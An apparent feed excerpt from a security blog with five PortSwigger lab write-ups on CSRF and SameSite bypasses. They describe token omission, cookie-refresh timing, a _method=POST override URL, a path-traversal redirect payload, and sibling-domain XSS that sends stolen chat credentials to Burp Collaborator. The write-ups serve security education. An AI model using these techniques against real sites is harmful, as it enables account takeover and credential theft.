    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The exercise isolates a CSRF enforcement gap: gET is rejected and a modified token is invalid, but deleting the entire csrf parameter from POST &#x2F;my-account&#x2F;change-email returns 302. The important evidence is the browser’s cookie and navigation behavior, not merely that a cross-site form can be submitted.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>CSRF where token validation depends on token being present</strong> through the endpoint and input recorded in the lab note. GET is rejected and a modified token is invalid, but deleting the entire <code>csrf</code> parameter from <code>POST /my-account/change-email</code> returns 302.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>GET is rejected and a modified token is invalid, but deleting the entire <code>csrf</code> parameter from <code>POST /my-account/change-email</code> returns 302.</p><figure><img src="/images/portswigger/csrf/lab-token-validation-depends-on-token-being-present/step-1.png" alt="Lab description identifies an email-change CSRF vulnerability where the token check can be bypassed."><figcaption>Lab description identifies an email-change CSRF vulnerability where the token check can be bypassed.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-token-validation-depends-on-token-being-present/step-2.png" alt="My Account shows the email-change form before testing token omission."><figcaption>My Account shows the email-change form before testing token omission.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-token-validation-depends-on-token-being-present/step-3.png" alt="A GET request to /my-account/change-email is rejected with 405 Method Not Allowed."><figcaption>A GET request to /my-account/change-email is rejected with 405 Method Not Allowed.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>GET is rejected and a modified token is invalid, but deleting the entire <code>csrf</code> parameter from <code>POST /my-account/change-email</code> returns 302. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Recreate the account-change flow, establish the normal request’s token and cookie requirements, then alter only the method, token presence, cookie age, redirect path, or sibling-origin step named in the evidence. The goal is to show exactly where the browser still supplies authority to the forged request.</p><figure><img src="/images/portswigger/csrf/lab-token-validation-depends-on-token-being-present/step-4.png" alt="The HTTP history shows POST /my-account/change-email after removing the csrf parameter; email remains in the body and the server returns 302 Found."><figcaption>The HTTP history shows POST /my-account/change-email after removing the csrf parameter; email remains in the body and the server returns 302 Found.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-token-validation-depends-on-token-being-present/step-5.png" alt="My Account displays abc@example.com, confirming the POST succeeded when the csrf field was absent."><figcaption>My Account displays abc@example.com, confirming the POST succeeded when the csrf field was absent.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-token-validation-depends-on-token-being-present/step-6.png" alt="The exploit-server editor contains an auto-submitting POST form with the email field and no csrf input."><figcaption>The exploit-server editor contains an auto-submitting POST form with the email field and no csrf input.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-token-validation-depends-on-token-being-present/step-7.png" alt="The Academy banner for “CSRF where token validation depends on token being present” shows Solved."><figcaption>The Academy banner for “CSRF where token validation depends on token being present” shows Solved.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when gET is rejected and a modified token is invalid, but deleting the entire <code>csrf</code> parameter from <code>POST /my-account/change-email</code> returns 302. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>A production attacker could change victim account data while relying on ambient cookies. Validate CSRF tokens on every state-changing route and method, bind them to the authenticated session, set deliberate SameSite attributes, and remove redirect or sibling-origin gadgets that turn same-site navigation into cross-site request authority.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-validation-depends-on-token-being-present">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Remove the csrf parameter from the change-email POST and learn how conditional token validation accepts the request when the field is absent.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="CSRF" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/CSRF/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="csrf" scheme="https://blog.nhhoang.io.vn/tags/csrf/"/>
    
  </entry>
  
  <entry>
    <title>SameSite Lax bypass via cookie refresh</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-samesite-lax-bypass-via-cookie-refresh/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-samesite-lax-bypass-via-cookie-refresh/</id>
    <published>2026-07-08T05:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The exercise isolates a CSRF enforcement gap: the &#x2F;social-login → authorization → &#x2F;oauth-callback flow sets a new session cookie without an explicit SameSite attribute. The important evidence is the browser’s cookie and navigation behavior, not merely that a cross-site form can be submitted.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>SameSite Lax bypass via cookie refresh</strong> through the endpoint and input recorded in the lab note. The <code>/social-login</code> → authorization → <code>/oauth-callback</code> flow sets a new <code>session</code> cookie without an explicit SameSite attribute.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>the <code>/social-login</code> → authorization → <code>/oauth-callback</code> flow sets a new <code>session</code> cookie without an explicit SameSite attribute.</p><figure><img src="/images/portswigger/csrf/lab-samesite-lax-bypass-via-cookie-refresh/step-1.png" alt="Lab description requires changing the victim email and notes OAuth-based login through the social account."><figcaption>Lab description requires changing the victim email and notes OAuth-based login through the social account.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-samesite-lax-bypass-via-cookie-refresh/step-2.png" alt="The OAuth provider sign-in page reached from /social-login is visible in the browser."><figcaption>The OAuth provider sign-in page reached from /social-login is visible in the browser.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-samesite-lax-bypass-via-cookie-refresh/step-3.png" alt="The HTTP history shows POST /my-account/change-email with the session cookie; the endpoint returns 302 Found."><figcaption>The HTTP history shows POST /my-account/change-email with the session cookie; the endpoint returns 302 Found.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The <code>/social-login</code> → authorization → <code>/oauth-callback</code> flow sets a new <code>session</code> cookie without an explicit SameSite attribute. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Recreate the account-change flow, establish the normal request’s token and cookie requirements, then alter only the method, token presence, cookie age, redirect path, or sibling-origin step named in the evidence. The goal is to show exactly where the browser still supplies authority to the forged request.</p><figure><img src="/images/portswigger/csrf/lab-samesite-lax-bypass-via-cookie-refresh/step-4.png" alt="The /oauth-callback response issues a fresh session cookie without an explicit SameSite attribute after the /social-login authorization chain."><figcaption>The /oauth-callback response issues a fresh session cookie without an explicit SameSite attribute after the /social-login authorization chain.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-samesite-lax-bypass-via-cookie-refresh/step-5.png" alt="The exploit-server HTML opens /social-login to refresh the session cookie, waits five seconds, then submits POST /my-account/change-email with email=hacked@hacker.com during the Lax-by-default grace window."><figcaption>The exploit-server HTML opens /social-login to refresh the session cookie, waits five seconds, then submits POST /my-account/change-email with email=hacked@hacker.com during the Lax-by-default grace window.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-samesite-lax-bypass-via-cookie-refresh/step-6.png" alt="The Academy banner for “SameSite Lax bypass via cookie refresh” shows Solved."><figcaption>The Academy banner for “SameSite Lax bypass via cookie refresh” shows Solved.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when the <code>/social-login</code> → authorization → <code>/oauth-callback</code> flow sets a new <code>session</code> cookie without an explicit SameSite attribute. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>A production attacker could change victim account data while relying on ambient cookies. Validate CSRF tokens on every state-changing route and method, bind them to the authenticated session, set deliberate SameSite attributes, and remove redirect or sibling-origin gadgets that turn same-site navigation into cross-site request authority.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-lax-bypass-via-cookie-refresh">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Refresh the session through the OAuth flow and learn how Chrome&#39;s two-minute Lax-by-default grace period permits the cross-site change-email POST.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="CSRF" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/CSRF/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="csrf" scheme="https://blog.nhhoang.io.vn/tags/csrf/"/>
    
  </entry>
  
  <entry>
    <title>SameSite Lax bypass via method override</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-samesite-lax-bypass-via-method-override/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-samesite-lax-bypass-via-method-override/</id>
    <published>2026-07-08T02:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The exercise isolates a CSRF enforcement gap: plain GET is Method Not Allowed, while &#x2F;my-account&#x2F;change-email?email&#x3D;<a href="mailto:&#104;&#97;&#x63;&#x6b;&#101;&#100;&#64;&#x68;&#x61;&#x63;&#107;&#x65;&#x72;&#46;&#x63;&#x6f;&#x6d;">&#104;&#97;&#x63;&#x6b;&#101;&#100;&#64;&#x68;&#x61;&#x63;&#107;&#x65;&#x72;&#46;&#x63;&#x6f;&#x6d;</a>&amp;method&#x3D;POST changes the email. The important evidence is the browser’s cookie and navigation behavior, not merely that a cross-site form can be submitted.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>SameSite Lax bypass via method override</strong> through the endpoint and input recorded in the lab note. Plain GET is Method Not Allowed, while <code>/my-account/change-email?email=hacked@hacker.com&amp;_method=POST</code> changes the email.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>plain GET is Method Not Allowed, while <code>/my-account/change-email?email=hacked@hacker.com&amp;_method=POST</code> changes the email.</p><figure><img src="/images/portswigger/csrf/lab-samesite-lax-bypass-via-method-override/step-1.png" alt="Lab description asks for a CSRF email change hosted on the exploit server."><figcaption>Lab description asks for a CSRF email change hosted on the exploit server.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-samesite-lax-bypass-via-method-override/step-2.png" alt="My Account shows the email-change form before method-override testing."><figcaption>My Account shows the email-change form before method-override testing.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-samesite-lax-bypass-via-method-override/step-3.png" alt="A plain GET to /my-account/change-email is rejected with 405 Method Not Allowed."><figcaption>A plain GET to /my-account/change-email is rejected with 405 Method Not Allowed.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Plain GET is Method Not Allowed, while <code>/my-account/change-email?email=hacked@hacker.com&amp;_method=POST</code> changes the email. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Recreate the account-change flow, establish the normal request’s token and cookie requirements, then alter only the method, token presence, cookie age, redirect path, or sibling-origin step named in the evidence. The goal is to show exactly where the browser still supplies authority to the forged request.</p><figure><img src="/images/portswigger/csrf/lab-samesite-lax-bypass-via-method-override/step-4.png" alt="A top-level GET to /my-account/change-email?email=...&amp;_method=POST is accepted and returns 302 Found while the Lax session cookie is sent."><figcaption>A top-level GET to /my-account/change-email?email=...&amp;_method=POST is accepted and returns 302 Found while the Lax session cookie is sent.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-samesite-lax-bypass-via-method-override/step-5.png" alt="My Account displays abc@gmail.com, confirming the GET navigation was processed as the POST email-change operation."><figcaption>My Account displays abc@gmail.com, confirming the GET navigation was processed as the POST email-change operation.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-samesite-lax-bypass-via-method-override/step-6.png" alt="The exploit-server script navigates the victim to /my-account/change-email?email=hacked@hacker.com&amp;_method=POST."><figcaption>The exploit-server script navigates the victim to /my-account/change-email?email=hacked@hacker.com&amp;_method=POST.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-samesite-lax-bypass-via-method-override/step-7.png" alt="The Academy banner for “SameSite Lax bypass via method override” shows Solved."><figcaption>The Academy banner for “SameSite Lax bypass via method override” shows Solved.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when plain GET is Method Not Allowed, while <code>/my-account/change-email?email=hacked@hacker.com&amp;_method=POST</code> changes the email. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>A production attacker could change victim account data while relying on ambient cookies. Validate CSRF tokens on every state-changing route and method, bind them to the authenticated session, set deliberate SameSite attributes, and remove redirect or sibling-origin gadgets that turn same-site navigation into cross-site request authority.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-lax-bypass-via-method-override">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Send a top-level GET carrying _method=POST to the change-email endpoint and learn how method override includes the Lax session cookie in a state-changing request.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="CSRF" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/CSRF/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="csrf" scheme="https://blog.nhhoang.io.vn/tags/csrf/"/>
    
  </entry>
  
  <entry>
    <title>SameSite Strict bypass via client-side redirect</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-samesite-strict-bypass-via-client-side-redirect/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-samesite-strict-bypass-via-client-side-redirect/</id>
    <published>2026-07-07T23:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The exercise isolates a CSRF enforcement gap: confirmation JavaScript reads postId and redirects to &#x2F;post&#x2F; plus that value; ..&#x2F;my-account&#x2F;change-email?email&#x3D;<a href="mailto:&#x68;&#x61;&#x63;&#x6b;&#101;&#x64;&#64;&#x68;&#x61;&#99;&#107;&#101;&#x72;&#46;&#99;&#111;&#x6d;">&#x68;&#x61;&#x63;&#x6b;&#101;&#x64;&#64;&#x68;&#x61;&#99;&#107;&#101;&#x72;&#46;&#99;&#111;&#x6d;</a> escapes the intended path. The important evidence is the browser’s cookie and navigation behavior, not merely that a cross-site form can be submitted.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>SameSite Strict bypass via client-side redirect</strong> through the endpoint and input recorded in the lab note. Confirmation JavaScript reads <code>postId</code> and redirects to <code>/post/</code> plus that value; <code>../my-account/change-email?email=hacked@hacker.com</code> escapes the intended path.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>confirmation JavaScript reads <code>postId</code> and redirects to <code>/post/</code> plus that value; <code>../my-account/change-email?email=hacked@hacker.com</code> escapes the intended path.</p><figure><img src="/images/portswigger/csrf/lab-samesite-strict-bypass-via-client-side-redirect/step-1.png" alt="Lab description asks for a CSRF email change using the provided exploit server."><figcaption>Lab description asks for a CSRF email change using the provided exploit server.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-samesite-strict-bypass-via-client-side-redirect/step-2.png" alt="Burp shows GET /post/comment/confirmation?postId=9, the same-site confirmation route used as the redirect gadget."><figcaption>Burp shows GET /post/comment/confirmation?postId=9, the same-site confirmation route used as the redirect gadget.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Confirmation JavaScript reads <code>postId</code> and redirects to <code>/post/</code> plus that value; <code>../my-account/change-email?email=hacked@hacker.com</code> escapes the intended path. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Recreate the account-change flow, establish the normal request’s token and cookie requirements, then alter only the method, token presence, cookie age, redirect path, or sibling-origin step named in the evidence. The goal is to show exactly where the browser still supplies authority to the forged request.</p><figure><img src="/images/portswigger/csrf/lab-samesite-strict-bypass-via-client-side-redirect/step-3.png" alt="Confirmation-page JavaScript reads postId and assigns window.location to the blog path plus /post/ and the unvalidated value."><figcaption>Confirmation-page JavaScript reads postId and assigns window.location to the blog path plus /post/ and the unvalidated value.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-samesite-strict-bypass-via-client-side-redirect/step-4.png" alt="The exploit-server script sends the victim to /post/comment/confirmation?postId=1/../../my-account/change-email?email=... so the client-side redirect becomes a same-site GET carrying the Strict session cookie."><figcaption>The exploit-server script sends the victim to /post/comment/confirmation?postId=1/../../my-account/change-email?email=... so the client-side redirect becomes a same-site GET carrying the Strict session cookie.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-samesite-strict-bypass-via-client-side-redirect/step-5.png" alt="The Academy banner for “SameSite Strict bypass via client-side redirect” shows Solved."><figcaption>The Academy banner for “SameSite Strict bypass via client-side redirect” shows Solved.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when confirmation JavaScript reads <code>postId</code> and redirects to <code>/post/</code> plus that value; <code>../my-account/change-email?email=hacked@hacker.com</code> escapes the intended path. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>A production attacker could change victim account data while relying on ambient cookies. Validate CSRF tokens on every state-changing route and method, bind them to the authenticated session, set deliberate SameSite attributes, and remove redirect or sibling-origin gadgets that turn same-site navigation into cross-site request authority.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-client-side-redirect">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Inject path traversal into the blog postId redirect and learn how a cross-site visit becomes a same-site change-email request carrying the Strict cookie.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="CSRF" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/CSRF/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="csrf" scheme="https://blog.nhhoang.io.vn/tags/csrf/"/>
    
  </entry>
  
  <entry>
    <title>SameSite Strict bypass via sibling domain</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-samesite-strict-bypass-via-sibling-domain/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-samesite-strict-bypass-via-sibling-domain/</id>
    <published>2026-07-07T20:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The exercise isolates a CSRF enforcement gap: the support sibling reflects Invalid user: <input>; injected script opens the support WebSocket, sends READY, and receives Carlos’s chat history. The important evidence is the browser’s cookie and navigation behavior, not merely that a cross-site form can be submitted.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>SameSite Strict bypass via sibling domain</strong> through the endpoint and input recorded in the lab note. The support sibling reflects <code>Invalid user: &lt;input&gt;</code>; injected script opens the support WebSocket, sends <code>READY</code>, and receives Carlos’s chat history.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>the support sibling reflects <code>Invalid user: &lt;input&gt;</code>; injected script opens the support WebSocket, sends <code>READY</code>, and receives Carlos’s chat history.</p><figure><img src="/images/portswigger/csrf/lab-samesite-strict-bypass-via-sibling-domain/step-1.png" alt="Lab description identifies cross-site WebSocket hijacking and requires exfiltrating the victim chat history to Burp Collaborator."><figcaption>Lab description identifies cross-site WebSocket hijacking and requires exfiltrating the victim chat history to Burp Collaborator.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-samesite-strict-bypass-via-sibling-domain/step-2.png" alt="WebSockets history shows the `wss://.../chat` connection and the `READY` message that requests chat history from the support service."><figcaption>WebSockets history shows the `wss://.../chat` connection and the `READY` message that requests chat history from the support service.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-samesite-strict-bypass-via-sibling-domain/step-3.png" alt="The live-chat HTML response contains the concrete sibling host `https://support-LAB.web-security-academy.net`, identifying the support origin in the same site."><figcaption>The live-chat HTML response contains the concrete sibling host `https://support-LAB.web-security-academy.net`, identifying the support origin in the same site.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-samesite-strict-bypass-via-sibling-domain/step-4.png" alt="Browser cookie details show the application session cookie with SameSite=Strict."><figcaption>Browser cookie details show the application session cookie with SameSite=Strict.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-samesite-strict-bypass-via-sibling-domain/step-5.png" alt="The support sibling-domain login page exposes username and password fields."><figcaption>The support sibling-domain login page exposes username and password fields.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The support sibling reflects <code>Invalid user: &lt;input&gt;</code>; injected script opens the support WebSocket, sends <code>READY</code>, and receives Carlos’s chat history. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Recreate the account-change flow, establish the normal request’s token and cookie requirements, then alter only the method, token presence, cookie age, redirect path, or sibling-origin step named in the evidence. The goal is to show exactly where the browser still supplies authority to the forged request.</p><figure><img src="/images/portswigger/csrf/lab-samesite-strict-bypass-via-sibling-domain/step-6.png" alt="A failed support login reflects the supplied username in the “Invalid user” response, establishing the injection point."><figcaption>A failed support login reflects the supplied username in the “Invalid user” response, establishing the injection point.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-samesite-strict-bypass-via-sibling-domain/step-7.png" alt="A script payload in the reflected username executes on the support sibling, demonstrated by the JavaScript alert."><figcaption>A script payload in the reflected username executes on the support sibling, demonstrated by the JavaScript alert.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-samesite-strict-bypass-via-sibling-domain/step-8.png" alt="The exploit-server body redirects to the support sibling with reflected JavaScript that opens the WebSocket, sends READY, and forwards messages to Burp Collaborator."><figcaption>The exploit-server body redirects to the support sibling with reflected JavaScript that opens the WebSocket, sends READY, and forwards messages to Burp Collaborator.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-samesite-strict-bypass-via-sibling-domain/step-9.png" alt="Burp Collaborator records the exfiltrated WebSocket chat response containing Carlos’s credentials."><figcaption>Burp Collaborator records the exfiltrated WebSocket chat response containing Carlos’s credentials.</figcaption></figure><figure><img src="/images/portswigger/csrf/lab-samesite-strict-bypass-via-sibling-domain/step-10.png" alt="The Academy page for “SameSite Strict bypass via sibling domain” shows Solved after logging in with the recovered account."><figcaption>The Academy page for “SameSite Strict bypass via sibling domain” shows Solved after logging in with the recovered account.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when the support sibling reflects <code>Invalid user: &lt;input&gt;</code>; injected script opens the support WebSocket, sends <code>READY</code>, and receives Carlos’s chat history. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>A production attacker could change victim account data while relying on ambient cookies. Validate CSRF tokens on every state-changing route and method, bind them to the authenticated session, set deliberate SameSite attributes, and remove redirect or sibling-origin gadgets that turn same-site navigation into cross-site request authority.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-sibling-domain">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Chain reflected XSS on a sibling origin to the WebSocket endpoint and learn why site-level cookie boundaries still expose the Strict-authenticated chat session.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="CSRF" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/CSRF/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
